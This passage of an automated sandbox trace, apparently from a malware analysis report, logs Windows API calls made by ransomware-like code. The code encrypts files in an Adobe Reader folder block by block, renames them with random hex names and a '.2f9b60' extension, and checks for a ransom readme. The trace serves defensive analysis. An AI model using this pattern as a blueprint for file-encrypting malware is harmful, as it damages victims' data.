lpNumberOfBytesWritten=0x326bf910, lpOverlapped=0x0 | out: lpBuffer=0x431030b0*, lpNumberOfBytesWritten=0x326bf910*=0x108, lpOverlapped=0x0) returned 1 [0201.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc260 [0201.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc260) returned 1 [0201.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0201.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc260 [0201.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc230 [0201.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc230) returned 1 [0201.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d2b0 [0201.036] sprintf (in: _Dest=0x1ce5d2b0, _Format="%c%c" | out: _Dest="b3") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2b2, _Format="%c%c" | out: _Dest="85") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2b4, _Format="%c%c" | out: _Dest="19") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2b6, _Format="%c%c" | out: _Dest="44") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2b8, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2ba, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2bc, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2be, _Format="%c%c" | out: _Dest="94") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2c0, _Format="%c%c" | out: _Dest="97") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2c2, _Format="%c%c" | out: _Dest="6d") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2c4, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2c6, _Format="%c%c" | out: _Dest="d7") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2c8, _Format="%c%c" | out: _Dest="84") returned 2 [0201.036] sprintf (in: _Dest=0x1ce5d2ca, _Format="%c%c" | out: _Dest="49") returned 2 [0201.037] sprintf (in: _Dest=0x1ce5d2cc, _Format="%c%c" | out: _Dest="0a") returned 2 [0201.037] sprintf (in: _Dest=0x1ce5d2ce, _Format="%c%c" | out: _Dest="c0") returned 2 [0201.037] sprintf (in: _Dest=0x1ce5d2d0, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.037] sprintf (in: _Dest=0x1ce5d2d2, _Format="%c%c" | out: _Dest="c4") returned 2 [0201.037] sprintf (in: _Dest=0x1ce5d2d4, _Format="%c%c" | out: _Dest="6a") returned 2 [0201.037] sprintf (in: _Dest=0x1ce5d2d6, _Format="%c%c" | out: _Dest="71") returned 2 [0201.037] sprintf (in: _Dest=0x1ce5d2d8, _Format="%c%c" | out: _Dest="7d") returned 2 [0201.037] sprintf (in: _Dest=0x1ce5d2da, _Format="%c%c" | out: _Dest="14") returned 2 [0201.037] RtlInitAnsiString (in: DestinationString=0x326bf988, SourceString="b3851944d82f9e94976d2ad784490ac0f8c46a717d14" | out: DestinationString="b3851944d82f9e94976d2ad784490ac0f8c46a717d14") [0201.037] RtlAnsiStringToUnicodeString (in: DestinationString=0x326bf958, SourceString="b3851944d82f9e94976d2ad784490ac0f8c46a717d14", AllocateDestinationString=1 | out: DestinationString="b3851944d82f9e94976d2ad784490ac0f8c46a717d14") returned 0x0 [0201.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a1080 [0201.038] wcscat (in: _Dest=0x431898a0, _Source="b3851944d82" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b3851944d82") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b3851944d82" [0201.038] wcscat (in: _Dest=0x431898a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b3851944d82.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b3851944d82.2f9b60" [0201.038] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b3851944d82.2f9b60", NtPathName=0x326bf930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\b3851944d82.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314ade0 Thread: id = 2591 os_tid = 0x20e8 [0156.234] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.deu")) returned 0x20 [0156.235] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU", dwFileAttributes=0x20) returned 1 [0156.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.deu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe00 [0156.236] GetFileSizeEx (in: hFile=0xe00, lpFileSize=0x333bf960 | out: lpFileSize=0x333bf960*=8192) returned 1 [0156.236] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.236] ReadFile (in: hFile=0xe00, lpBuffer=0x333bf8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x333bf928, lpOverlapped=0x0 | out: lpBuffer=0x333bf8e0*, lpNumberOfBytesRead=0x333bf928*=0x4, lpOverlapped=0x0) returned 1 [0156.237] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc020 [0156.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc0b0 [0156.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc0e0 [0156.238] NtQuerySystemTime (in: CurrentTime=0x333bf820 | out: CurrentTime=0x333bf820*=132462177613738000) returned 0x0 [0156.238] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x1ddfc9d7 [0156.238] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x42bad47e [0156.238] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x6dd188c2 [0156.238] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x432d71b8 [0156.238] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x58cc59ca [0156.238] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x5e0180c6 [0156.238] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x30dde101 [0156.238] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x41a1af83 [0156.238] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x7c24122d [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x6a5ae417 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x5e0180c6 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x696e9032 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x47446210 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x723d06e [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x4f383d2d [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x32bb067 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x1c8bb22a [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x901107d [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x4447eba4 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x7959b43b [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x65564c65 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x36534dd5 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x7ed3a661 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x7e2d78cb [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x73669495 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x45d9b9f4 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0xa3815c3 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x20cd816c [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x440ec831 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x5b8c0f96 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x62b4db41 [0156.239] RtlRandomEx (in: Seed=0x333bf810 | out: Seed=0x333bf810) returned 0x6558e246 [0156.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc110 [0156.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce248a0 [0156.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc140 [0156.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0156.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc0e0) returned 1 [0156.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc020) returned 1 [0156.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18aa0 [0156.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce248a0 [0156.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc020 [0156.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc020) returned 1 [0156.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a009e0 [0156.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a045f0 [0156.253] ReadFile (in: hFile=0xe00, lpBuffer=0x42a009e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x333bf810, lpOverlapped=0x0 | out: lpBuffer=0x42a009e0*, lpNumberOfBytesRead=0x333bf810*=0x2000, lpOverlapped=0x0) returned 1 [0156.254] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.254] WriteFile (in: hFile=0xe00, lpBuffer=0x42a045f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x333bf814, lpOverlapped=0x0 | out: lpBuffer=0x42a045f0*, lpNumberOfBytesWritten=0x333bf814*=0x2000, lpOverlapped=0x0) returned 1 [0162.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c199b0 [0162.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c199e0 [0162.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c199e0) returned 1 [0162.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a045f0) returned 1 [0162.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a009e0) returned 1 [0162.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0162.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18aa0) returned 1 [0162.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c199e0 [0162.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18aa0 [0162.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce248a0 [0162.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19a10 [0162.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19a10) returned 1 [0162.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19a10 [0162.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19a40 [0162.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19a70 [0162.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19a70) returned 1 [0162.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0162.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18aa0) returned 1 [0162.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c175d0 [0162.956] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.956] WriteFile (in: hFile=0xe00, lpBuffer=0x42c175d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x333bf930, lpOverlapped=0x0 | out: lpBuffer=0x42c175d0*, lpNumberOfBytesWritten=0x333bf930*=0x108, lpOverlapped=0x0) returned 1 [0164.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205007d0 [0164.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205007d0) returned 1 [0164.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d180 [0164.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205007d0 [0164.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205007a0 [0164.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205007a0) returned 1 [0164.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9ef70 [0164.887] sprintf (in: _Dest=0x1cd9ef70, _Format="%c%c" | out: _Dest="ee") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef72, _Format="%c%c" | out: _Dest="2e") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef74, _Format="%c%c" | out: _Dest="93") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef76, _Format="%c%c" | out: _Dest="e9") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef78, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef7a, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef7c, _Format="%c%c" | out: _Dest="5d") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef7e, _Format="%c%c" | out: _Dest="5b") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef80, _Format="%c%c" | out: _Dest="5b") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef82, _Format="%c%c" | out: _Dest="61") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef84, _Format="%c%c" | out: _Dest="d8") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef86, _Format="%c%c" | out: _Dest="57") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef88, _Format="%c%c" | out: _Dest="17") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef8a, _Format="%c%c" | out: _Dest="9d") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef8c, _Format="%c%c" | out: _Dest="3c") returned 2 [0164.887] sprintf (in: _Dest=0x1cd9ef8e, _Format="%c%c" | out: _Dest="17") returned 2 [0164.888] sprintf (in: _Dest=0x1cd9ef90, _Format="%c%c" | out: _Dest="ec") returned 2 [0164.888] sprintf (in: _Dest=0x1cd9ef92, _Format="%c%c" | out: _Dest="b7") returned 2 [0164.888] sprintf (in: _Dest=0x1cd9ef94, _Format="%c%c" | out: _Dest="15") returned 2 [0164.888] sprintf (in: _Dest=0x1cd9ef96, _Format="%c%c" | out: _Dest="b6") returned 2 [0164.888] sprintf (in: _Dest=0x1cd9ef98, _Format="%c%c" | out: _Dest="ab") returned 2 [0164.888] sprintf (in: _Dest=0x1cd9ef9a, _Format="%c%c" | out: _Dest="d5") returned 2 [0164.888] RtlInitAnsiString (in: DestinationString=0x333bf9a8, SourceString="ee2e93e99afc5d5b5b61d857179d3c17ecb715b6abd5" | out: DestinationString="ee2e93e99afc5d5b5b61d857179d3c17ecb715b6abd5") [0164.888] RtlAnsiStringToUnicodeString (in: DestinationString=0x333bf978, SourceString="ee2e93e99afc5d5b5b61d857179d3c17ecb715b6abd5", AllocateDestinationString=1 | out: DestinationString="ee2e93e99afc5d5b5b61d857179d3c17ecb715b6abd5") returned 0x0 [0164.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce14e30 [0164.888] RtlFreeAnsiString (AnsiString="e") [0164.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef70) returned 1 [0164.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205007d0) returned 1 [0164.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c175d0) returned 1 [0164.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19a10) returned 1 [0164.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19a40) returned 1 [0164.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c199e0) returned 1 [0164.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c199b0) returned 1 [0164.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc0b0) returned 1 [0164.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc110) returned 1 [0164.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc140) returned 1 [0164.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x42c30810 [0164.891] wcscat (in: _Dest=0x42c30810, _Source="ee2e93e99af" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\ee2e93e99af") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\ee2e93e99af" [0164.891] wcscat (in: _Dest=0x42c30810, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\ee2e93e99af.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\ee2e93e99af.2f9b60" [0164.891] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\ee2e93e99af.2f9b60", NtPathName=0x333bf950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\ee2e93e99af.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c36750 [0165.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36750) returned 1 [0165.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c33d00) returned 1 [0165.207] NtQueryInformationFile (in: FileHandle=0xe00, IoStatusBlock=0x333bf9b8, FileInformation=0x333bf9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x333bf9b8, FileInformation=0x333bf9c8) returned 0x0 [0165.207] NtSetInformationFile (FileHandle=0xe00, IoStatusBlock=0x333bf9b8, FileInformation=0x333bf9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30810) returned 1 [0165.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce14e30) returned 1 [0165.209] FlushFileBuffers (hFile=0xe00) returned 1 [0166.269] CloseHandle (hObject=0xe00) returned 1 [0183.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1cdb60b0 [0183.977] wcscpy (in: _Dest=0x1cdb60b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\" [0183.977] wcscat (in: _Dest=0x1cdb60b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt" [0183.978] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\2f9b60-readme.txt")) returned 0x20 [0234.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb60b0) returned 1 [0234.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784520) returned 1 Thread: id = 2592 os_tid = 0x20ec [0156.255] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.esp")) returned 0x20 [0156.255] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP", dwFileAttributes=0x20) returned 1 [0156.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.esp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1598 [0156.256] GetFileSizeEx (in: hFile=0x1598, lpFileSize=0x3367fe40 | out: lpFileSize=0x3367fe40*=7680) returned 1 [0156.257] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.257] ReadFile (in: hFile=0x1598, lpBuffer=0x3367fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3367fe08, lpOverlapped=0x0 | out: lpBuffer=0x3367fdc0*, lpNumberOfBytesRead=0x3367fe08*=0x4, lpOverlapped=0x0) returned 1 [0156.398] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc3e0 [0156.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc4a0 [0156.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc530 [0156.399] NtQuerySystemTime (in: CurrentTime=0x3367fd00 | out: CurrentTime=0x3367fd00*=132462177615298000) returned 0x0 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x5959106e [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x527a1933 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x5585d5f0 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x47771a6e [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x22f98d28 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x35810643 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x660260b2 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x789407c8 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x65b815ad [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x57f84894 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0xdd47531 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x3724e218 [0156.399] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x76ca3f6b [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x297929f2 [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x3d070ddc [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x563be02a [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x67198ac8 [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x1e5a0fd0 [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x45ee5e7c [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x67cc13f5 [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x2b587fe1 [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x78fba068 [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0xa7412ef [0156.400] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x421e0972 [0156.401] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) returned 0x2a74e327 [0156.401] RtlRandomEx (in: Seed=0x3367fcf0 | out: Seed=0x3367fcf0) 